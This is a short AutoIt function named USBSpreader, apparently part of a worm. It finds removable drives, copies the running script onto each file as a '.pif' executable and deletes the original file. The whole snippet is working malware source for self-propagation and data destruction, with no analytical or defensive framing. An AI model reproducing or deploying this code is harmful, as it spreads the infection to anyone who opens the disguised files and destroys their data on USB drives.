Func USBSpreader()
$usblist = DriveGetDrive("REMOVABLE")
If $usblist <> "" Then
    For $i = 1 To $usblist[0]
        If $usblist[$i] <> @HomeDrive Then
            $filearray = _FileListToArrayRec($usblist[$i], "*", 1, 1, 0, 2)
            For $f = 1 To $filearray[0]
                $datatarget = Binary(FileRead($filearray[$f]))
                $checkdata = StringInStr($filearray[$f], ".pif")
                If Not $checkdata Then
                    FileWrite($filearray[$f] & ".pif",Binary(FileRead(@ScriptFullPath)))
                    FileDelete($filearray[$f])
                EndIf
            Next
        EndIf
    Next
EndIf
EndFunc   ;==>USBSpreader